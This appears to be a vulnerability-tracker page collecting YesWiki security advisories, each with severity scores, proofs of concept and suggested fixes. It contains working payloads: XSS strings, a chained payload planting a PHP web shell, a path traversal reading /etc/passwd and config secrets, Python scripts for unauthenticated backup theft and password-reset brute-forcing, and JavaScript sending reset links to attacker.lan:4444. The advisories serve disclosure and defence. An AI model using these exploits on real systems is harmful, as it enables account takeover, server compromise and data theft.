Where
-Infinity
0
Severity
6.3
EPSS
0.04%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.

The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like / JavaScriptPayload /.

PoC Navigate to a site and page that allows comments and place this in the comments section and submit it:

/<script>alert('pizzapower')</script>/

Upon submitting to the page, it will run. And then upon every page visit, it will run.

Impact

An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:

/<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>/

Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.36%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

PoC Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.

!LookWiki

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated) :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.

:root { --primary-color: <?php system($GET['cmd']); ?>; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; }

Then, simply visit the file with a cmd parameter included.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root { --primary-color: uid=501(yeswiki) gid=501 groups=501 ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } !injection

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.10%
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.

Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:

POST /?api/archives HTTP/1.1 Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true Then to retrieve it, make a simple GET request like to the correct URL: http://localhost:8085/?api/archives/2025-04-12T14-34-01archive.zip A malicious attacker could simply fuzz this filename.

PoC Here is a python script to fuzz this:

#!/usr/bin/env python3

import requests import argparse import datetime import time from urllib.parse import urljoin from email.utils import parsedatetodatetime import urllib3 urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning) Hardcoded proxy config for Burp Suite BURPPROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" }

def sendpostrequest(baseurl, useproxy=False): url = urljoin(baseurl, "/?api/archives") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }

data = { "action": "startArchive", "params[savefiles]": "true", "params[savedatabase]": "true", "callAsync": "true" }

proxies = BURPPROXIES if useproxy else None response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False) print(f"[+] Archive start response code: {response.statuscode}")

serverdate = response.headers.get("Date") if serverdate: ts = parsedatetodatetime(serverdate) print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC") return ts else: print("[!] Server did not return a Date header, falling back to local UTC.") return datetime.datetime.utcnow()

def trydownloadfiles(baseurl, timestamp, useproxy=False): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", }

proxies = BURPPROXIES if useproxy else None print("[] Trying to download the archive with timestamp fuzzing (±10 seconds)...")

basets = timestamp + datetime.timedelta(hours=2)

time.sleep(30) # delay to generate the archive

for offset in range(-4, 15): ts = basets + datetime.timedelta(seconds=offset) filename = ts.strftime("%Y-%m-%dT%H-%M-%Sarchive.zip") url = urljoin(baseurl, f"/?api/archives/{filename}") print(f"[>] Trying: {url}") r = requests.get(url, headers=headers, proxies=proxies, verify=False)

if r.statuscode == 200 and r.headers.get("Content-Type", "").startswith("application/zip"): print(f"[✓] Archive found and downloaded: {filename}") with open(filename, "wb") as f: f.write(r.content) return

print("[!] No archive found within the fuzzed window.")

if name == "main": parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.") parser.addargument("host", help="Base host URL, e.g., http://localhost:8085") parser.addargument("-p", "--proxy", action="storetrue", help="Route requests through Burp Suite proxy at 127.0.0.1:8080") args = parser.parseargs()

ts = sendpostrequest(args.host, useproxy=args.proxy) print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")

trydownloadfiles(args.host, ts, useproxy=args.proxy)

Impact

Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.

Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.05%
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Summary Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

- YesWiki v4.5.3 (doryphore-dev branch) - Docker environnment (docker/docker-compose.yml)

Vulnerable code The vulnerability is located in the file public function showUploadForm() { $this->file = $GET['file']; echo '<h3>' . t('ATTACHUPLOADFORMFORFILE') . ' ' . $this->file . "</h3>\n"; echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n" . ' <input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n" . ' <input type="hidden" name="MAXFILESIZE" value="' . $this->attachConfig['maxfilesize'] . "\" />\n" . " <input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n" . " <input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n" . ' <input class="btn btn-primary" type="submit" value="' . t('ATTACHSAVE') . "\" />\n" . "</form>\n"; } PoC 1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: localhost:8085 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: ru-RU,ru;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive 2. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />

Impact This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
EPSS
0.03%
XSS
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Summary Vulnerable Version: Yeswiki < v4.5.4 Vulnerable Endpoint: /?PagePrincipale%2Fdeletepage Vulnerable Parameter: incomingurl Payload: "><script>alert(1)</script>

Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

PoC NOTE: This vulnerability requires admin access. 1. Visit the endpoint as mentioned below and see that an alert box pops up:

URL with Payload: https://yeswiki.net/?PagePrincipale%2Fdeletepage&incomingurl="><script>alert(1)</script>

Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
EPSS
0.03%
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary Vulnerable Version: Yeswiki < v4.5.4 Category: Injection CWE: 79: Improper Neutralization of Input During Web Page Generation (CWE-79) CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) Vulnerable Endpoint: /?BazaR Vulnerable Parameter: idformulaire Payload: <script>alert(1)</script>

Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

PoC 1. Visit the endpoint as mentioned below and see that an alert box pops up: URL with Payload: https://yeswiki.net/?BazaR&vue=formulaire&action=confirmdelete&idformulaire=%3cscript%3ealert(1)%3c%2fscript%3e

Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
EPSS
0.03%
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary Vulnerable Version: Yeswiki < v4.5.4 Category: Injection CWE: 79: Improper Neutralization of Input During Web Page Generation (CWE-79) CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) Vulnerable Endpoint: /?BazaR/bazariframe Vulnerable Parameter: template Payload: <script>alert(1)</script>

Details Reflected Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

PoC 1. Visit the endpoint as mentioned below and see that an alert box pops up: URL with Payload: https://yeswiki.net/?BazaR/bazariframe&id=2&template=%3cscript%3ealert(1)%3c%2fscript%3e

Impact An attacker can use a reflected cross-site scripting attack to steal cookies from an authenticated user by having them click on a malicious link. Stolen cookies allow the attacker to take over the user’s session. This vulnerability may also allow attackers to deface the website or embed malicious content.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
EPSS
24.41%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. The payload ../../../../../../etc/passwd was submitted in the squelette parameter. The requested file was returned in the application's response.

Details File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.

PoC 1. Access the below URL to see the contents of /etc/passwd: URL with payload: https://yeswiki.net/?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css Similarly, contents of wakka.config.php can be read (which contains database password) using ..%2f..%2f..%2fwakka.config.php as payload. Thus showing the severity of this issue.

Impact This is a very serious vulnerability, allowing an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries. Thus, leading to complete loss of confidentiality.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.04%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Authenticated arbitrary file deletion in YesWiki <= 4.4.5

Summary It is possible for any authenticated user, through the use of the filemanager to delete any file owned by the user running the FastCGI Process Manager (FPM) on the host without any limitation on the filesystem's scope.

This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation

Details The vulnerability makes use of the filemanager that allows a user to manage files that are attached to a resource when they have owner permission on it. This part of the code is managed in tools/attach/libs/attach.lib.php

php public function doFileManager($isAction = false) { $do = (isset($GET['do']) && $GET['do']) ? $GET['do'] : ''; switch ($do) { case 'restore': $this->fmRestore(); $this->fmShow(true, $isAction); break; case 'erase': $this->fmErase(); $this->fmShow(true, $isAction); break; case 'del': $this->fmDelete(); $this->fmShow(false, $isAction); break; case 'trash': $this->fmShow(true, $isAction); break; case 'emptytrash': $this->fmEmptyTrash(); //pas de break car apres un emptytrash => retour au gestionnaire // no break default: $this->fmShow(false, $isAction); } }

The fmErase() function doesn't sanitize or verify the path that has been provided by the user in any way. Thus allowing a malicious user to specify any arbitrary file on the filesystem and having it deleted through the use of unlink() (as long as the user that runs the process has permission to delete it).

php public function fmErase() { $path = $this->GetUploadPath(); $filename = $path . '/' . ($GET['file'] ? $GET['file'] : ''); if (fileexists($filename)) { unlink($filename); } }

In addition to this deletion accross all the filesystem through fmErase(), it is also possible to delete any file attached to an existing wiki page, for instance, if user A creates a page and attaches images/documents to it, they always get uploaded to the files/ directory. If user B (malicious), knows the path of the files he can also arbitrarly delete them. (fmDelete() is also impacted by this case)

PoC 1. Environnement setup The following actions have been performed as a privileged user

First, let's create one user (in addition to the WikiAdmin user):

!poc1

Restrict the edition of 'PagePrincipale' wiki page to administrators only:

!poc2

2. Upload of a file on a resource not owned by our user The following actions have been performed as a privileged user

Second, let's upload a media to this PagePrincipale wiki page:

!poc3 !poc4

Then view it in the page's filemanager:

!poc5

We can confirm that our file has been uploaded to the files/ directory by directly looking at the yeswiki container:

!poc5 1

3. Arbitrary deletion (in files/) The following actions have been performed using an unprivileged user

Now, get the full path/name of the media in the files directory by opening it in a new tab:

!poc6

Afterwards, we need an instance of filemanager to be accessible to our user so we need to create a page that we own, here is used the agenda and the creation of a new event:

!poc7

Call the erase method on the PagePrincipale's uploaded media:

!poc

The media is now deleted from PagePrincipale (the button is shown when the attached media doesn't exist, it's an intended behaviour):

!poc9

It has also disappeared from the files/ directory:

!poc10

This behaviour can be applied to any file under the files/ directory.

4. Arbitrary deletion (in /tmp/) The following actions have been performed using a privileged access

Finally, using the same user as the process running the app, we create a file under the /tmp directory:

!poc11

The following actions have been performed using an unprivileged user

We can once again call the erase method using a relative path:

!poc3

The file isn't here anymore:

!poc13

Impact This vulnerability allows any authenticated user to arbitrarly remove content from the Wiki resulting in partial loss of data and defacement/deteroriation of the website. In the context of a container installation of YesWiki without any modification, the 'yeswiki' files (for example .php) are not owned by the same user (root) as the one running the FPM process (www-data). However in a standard installation, www-data may also be the owner of the PHP files, allowing a malicious user to completely cut the access to the wiki by deleting all important PHP files (like index.php or core files of YesWiki).

Suggestion of possible corrective measures

- Restrict the possible paths of fmErase() to the uploadpath directory.

- Restrict the use of fmErase() to trashed files only.

php public function fmErase() { $path = $this->GetUploadPath(); $filename = $this->GetUploadPath() . '/' . basename(realpath(($GET['file'] ? $GET['file'] : ''))); //Sanitize file path if (fileexists($filename) && pregmatch('/trash\d{14}$/', $filename)) { //Make sure that the filename ends with trash and a date unlink($filename); } }

- Make sure that any request to fmErase() or fmDelete() originates from the owner of the resource to which the attachment is linked (asks a bit more than a few lines of code).

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.04%
XSS
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Authenticated Stored XSS in YesWiki <= 4.4.5

Summary It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.

This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation

Details The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.

This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().

php public function showFileNotExits() { echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $this->file . '</a>'; }

The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.

PoC 1. Simple XSS Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:

On a comment:

!poc1 !poc2

On a page:

!poc3 !poc4

2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })

Posting a comment using this specially crafted payload with a user account:

!poc5

Allows our administrator account's password reset link to be sent to the listener of the attacker:

!poc7 !poc8

Therefore giving us access to an successful password reset for any account triggering the XSS:

!poc9

Impact This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures - Sanitize properly the filename attribute

php public function showFileNotExits() { $filename = htmlspecialchars($this->file); echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . t('UPLOADFILE') . ' ' . $filename . '</a>'; }

- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token

- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.04%
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

Summary It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation

Details The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

php $output .= '<div class="alert alert-info">' . "\n"; if ($nbtotal > 1) { $output .= t('TAGSTOTALNBPAGES', ['nbtotal' => $nbtotal]); } elseif ($nbtotal == 1) { $output .= t('TAGSONEPAGEFOUND'); } else { $output .= t('TAGSNOPAGE'); } $output .= (!empty($tabselectedtags) ? ' ' . t('TAGSWITHKEYWORD') . ' ' . implode(' ' . t('TAGSWITHKEYWORDSEPARATOR') . ' ', arraymap(function ($tagName) { return '<span class="tag-label label label-info">' . $tagName . '</span>'; }, $tabselectedtags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '</div>' . "\n" . $text;

echo $this->Header(); echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hrclear\" />\n</div>\n"; echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC 1. Simple XSS Abusing the tags parameter, we can successfully obtain client side javascript execution:

!poc1

2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

!poc2 !poc3 !poc4

Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures - Sanitize properly the tag names when created here

php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tagsrestantsaeffacer)) { unset($tagsrestantsaeffacer[arraysearch($tag, $tagsrestantsaeffacer)]); } } }

- Sanitize the tag names when looked for here

php //$tags = (isset($GET['tags'])) ? $GET['tags'] : ''; $tags = (isset($GET['tags'])) ? htmlspecialchars($GET['tags']) : '';

- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token

- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
Weak Encryption
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.

Details Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :

php private const PWSALT = 'FBcA';

Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :

php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '' . $user['email'] . randomint(0, 10000) . date('Y-m-d H:i:s') . self::PWSALT);

The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.

Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.

python #!/usr/bin/env python3 -- coding: utf-8 -- Author: Nishacid YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto

from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, ascompleted from argparse import ArgumentParser

Known data salt = 'FBcA' # Hardcoded salt randomrange = 10000 # Range for randomint() WORKERS = 20 # Number of workers

Arguments def parseArgs(): parser = ArgumentParser() parser.addargument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.addargument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.addargument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parseargs()

Reset password request and get timestamp def resetpassword(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit()

Generate and check keys def checkkey(randomintval: int, timestampreq: str, domain: str, username: str, email: str): userbase64 = b64encode(username.encode()).decode() data = f"{username}{email}{randomintval}{timestampreq}{salt}" hashcandidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hashcandidate}&u={userbase64}" # print(f"[] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, randomintval, hashcandidate, url) return (False, randomintval, None, None)

def main(timestampreq: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(maxworkers=WORKERS) as executor: futures = [executor.submit(checkkey, i, timestampreq, domain, username, email) for i in range(randomrange + 1)] for future in ascompleted(futures): success, randomintval, hashcandidate, url = future.result() if success: print(f"[+] Key found ! randomint: {randomintval}, hash: {hashcandidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.")

if name == "main": args = parseArgs() timestampreq = resetpassword(args.email, args.domain) main(timestampreq, args.domain, args.username, args.email)

Simply run this script with the arguments -u for the username, -e for the email and -d for the target domain.

bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [] Starting brute-force, it can take few minutes... [+] Key found ! randomint: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K

Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc.

Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use random bytes instead of a random integer.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SQL Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An SQL Injection vlnerability exits in Yeswiki doryphore 20211012 via the email parameter in the registration form.

First published (updated )
Severity
9.8
SQL Injection
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SQL injection vulnerability in the "Bazar" page in Yeswiki Cercopitheque 2018-06-19-1 and earlier allows attackers to execute arbitrary SQL commands via the "id" parameter.

First published (updated )
Severity
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

YesWiki version <= cercopitheque beta 1 contains a PHP Object Injection vulnerability in Unserialising user entered parameter in i18n.inc.php that can result in execution of code, disclosure of information.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
